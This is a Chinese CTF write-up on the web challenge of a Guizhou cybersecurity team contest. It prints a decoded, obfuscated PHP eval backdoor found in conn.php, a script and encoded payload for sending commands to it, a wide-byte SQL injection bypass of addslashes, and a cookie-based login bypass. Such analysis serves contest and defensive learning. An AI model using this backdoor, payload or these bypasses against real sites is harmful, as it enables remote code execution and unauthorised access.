0x01 混淆后门#conn.php

首先还是拖到D盾扫描

打开conn.php发现底部有那么一串代码:

对这个代码进行分析

首先可以对几个比较简单的变量输出看一下

$s输出内容为create_function

29行可知匿名函数调用了$q中的代码,所以我们打印$q的内容看一下

$q的内容为:

$k="5ac91f7d";$kh="b9615a29bc1d";$kf="24d0b67c2c91";$p="9GmIEgwZ7HiEeclS";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

代码格式化以后内容如下:

发现是通过input传入数据,然后需要满足正则且等于才往下执行。

需要了解的几个函数:

ob_start:php 的缓冲输出函数

gzcompress:压缩函数

gzuncompress:解压函数

ob_get_contents:得到缓冲区的数据

x是一个混淆函数,具体如何混淆的可以不去管。

我们只要知道19行他给我们进行了base64deco以及解压缩,那么反过来base64encode以及压缩就好了。

例如我们现在要将phpinfo();加密

逆向出来代码如下:

<?php
$k="5ac91f7d";
$kh="b9615a29bc1d";
$kf="24d0b67c2c91";
$p="9GmIEgwZ7HiEeclS";
function x($t,$k){
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};
        }
    }return $o;
}
$r=@base64_encode(@x(@gzcompress('phpinfo();'),$k));
echo $r;

得到字符串:Tf1I8Rmu+y/+trONN2YioDbg

最后与$kh、$kf拼接

得到b9615a29bc1dTf1I8Rmu+y/+trONN2YioDbg24d0b67c2c91

以此发送post数据包。

0x03 后台上传后门#up.class.php

第七行代码可见php也在其上传列表内;

然后看看那里调用了这个类

根据目录来看基本都是后台

复现了一下环境:

发现上传功能是坏的,所以上传功能应该是不行的。只能通过ueditor的那个编辑器上传,所以这个点只能说是作废;

0x03 SQL注入#conntent.php

addslashes函数是可被绕过的,如果当时比赛环境使用的是gbk编码的话是可以通过宽字节注入bypass的,他程序几乎都是使用这个函数的,所以直接搜素addslashes就几乎都是sql注入;

注入点非常多,我就不一一写出来了,因为这个程序源码挺大的;

0x04 权限绕过 #checklogin.php

他这个check也是写的有点搞笑。

判断$_COOKIE是否为空

所以只要请求user字段不为空就OK了(x-forwarded-for是我平时就喜欢加的,可忽略)

#php web的基本就是如上漏洞,难点应该就是最初的那个PHP混淆吧,如果要修复直接删除那段木马即可,据我所知,是能够登陆就可以拿到一个flag。自动化的话也是非常简单,写一个脚本requests的cookie字段填写user=1然后正则提取flag输出到txt,结合burpsuite自动提交flag。

贵州省网络安全知识竞赛团体赛Writeup-phpweb部分的更多相关文章

  1. 贵州省网络安全知识竞赛个人赛Writeup

    首先拖到D盾扫描 可以很明显的看出来确实就是两个后门 0x01 Index.php#一句话木马后门 0x02 About.php#文件包含漏洞 都可以很直观的看出来非常明显的漏洞,第一个直接就是eva ...

  2. 山东省网络安全技能大赛 部分writeup

    web1 提示:ip不在范围内 直接抓包加client-ip: 127.0.0.1 即可得到flag web2 <?php include 'here.php';    $key = 'kela ...

  3. 黑龙江网络安全技能竞赛awd后门分析复现

    0x0环境 0x1分析复现 0x2感想 围绕主办方留下的浅显后门可以打满整场,想拿第一还是要搞定深层后门

  4. 第三届上海市大学生网络安全大赛 流量分析 WriteUp

    题目链接: https://pan.baidu.com/s/1Utfq8W-NS4AfI0xG-HqSbA 提取码: 9wqs 解题思路: 打开流量包后,按照协议进行分类,发现了存在以下几种协议类型: ...

  5. 全国大学生信息安全竞赛初赛writeup

    本文首发于“合天智汇”公众号 作者:Fortheone WEB Babyunserialize 扫目录发现了 www.zip 下载下来发现似曾相识 之前wmctf2020的webweb出了f3的反序列 ...

  6. 网络安全知识--PHP代码审计/Web For Pantesters 的 SQL injection

    SQL 注入一般流程 判断有无注入 单引号判断: ?name=root' 对应语句 select * from table where name='root'' 不符合语法规范,报错,说明有注入 an ...

  7. 网络安全知识--PHP代码审计/Web For Pantesters 的 XSS

    用到 ** WEB FOR Pentester** 注意区分单引号双引号. 常见代码 审计工具 wamp,dwva,zvuldrill,burpsuite,seay源代码审计系统... 1 xss W ...

  8. 2020腾讯犀牛鸟网络安全T-Star高校挑战赛writeup

    签到 浏览器禁用js,在www目录下有 key 命令执行基础 使用 | 可以执行其他命令,在 ../目录下有 key.php cat 一下读出来 你能爆破吗 一开始随便输了个账号的时候不是这个页面,抓 ...

  9. SQL注入漏洞详解

    目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 UpdateXml报错注 ...

随机推荐

  1. 模型压缩之Channel Pruning

    论文地址 channel pruning是指给定一个CNN模型,去掉卷积层的某几个输入channel以及相应的卷积核, 并最小化裁剪channel后与原始输出的误差. 可以分两步来解决: channe ...

  2. java虚拟机的运行原理

    一.类加载器 首先来看一下java程序的执行过程. 从这个框图很容易大体上了解java程序工作原理.首先,你写好java代码,保存到硬盘当中.然后你在命令行中输入 javac YourClassNam ...

  3. sql问题处理

    批量杀死MySQL连接 select concat('KILL ',id,';') from information_schema.processlist where Info like 'selec ...

  4. Golang: chan定义问题(7)

    通常都是定义读写双向的 chan,定义单向 chan 问题. 专栏的介绍可以参考 <GotchaGolang专栏>,代码可以看<宝库-Gotcha>. 通过 只写 chan 传 ...

  5. 人心和隐私怎么防?“防出轨”APP让道德滑落

    ​ 王尔德曾说过,"一个人应该永远保持一点神秘感".让·保·里克特也表示,:"一个人泄露了秘密,哪怕一丝一毫,就再也得不到安宁了".可见,对于自然人来说,保有自 ...

  6. redis集群配置及python操作

    之前我们分析过喜马拉雅的爬取信息,使用分布式爬取,而且需要修改scrapy-redis的过滤算法为布隆过滤来减少redis内存占用,最后考虑这样还是不一定够,那么redis集群就是更好的一种选择方式了 ...

  7. C++与引用1

    */ * Copyright (c) 2016,烟台大学计算机与控制工程学院 * All rights reserved. * 文件名:text.cpp * 作者:常轩 * 微信公众号:Worldhe ...

  8. Nginx使用和配置

    概要: Nginx 简介 Nginx 架构说明 Nginx 基础配置与使用 Nginx 反向代理与负载均衡 Nginx 实现高速缓存 Nginx 性能参数调优 一.Nginx 简介与安装 Nginx ...

  9. 可视化工作流程设计开发OA系统,一两个程序员就搞定!

    随着信息化的发展,越来越多的公司老板要求实现企业审批流程化.一个公司在初期,人员少,流程简单,员工也会经常不按工作流程来走,甚至有些跨部门的工作因为关系原因,没有走工作流程就实施,导致后期出现问题或者 ...

  10. 从零开始打造 Mock 平台 - 核心篇

    前言 最近一直在捣鼓毕设,准备做的是一个基于前后端开发的Mock平台,前期花了很多时间完成了功能模块的交互.现在进度推到如何设计核心功能,也就是Mock数据的解析. 根据之前的需求设定加上一些思考,用 ...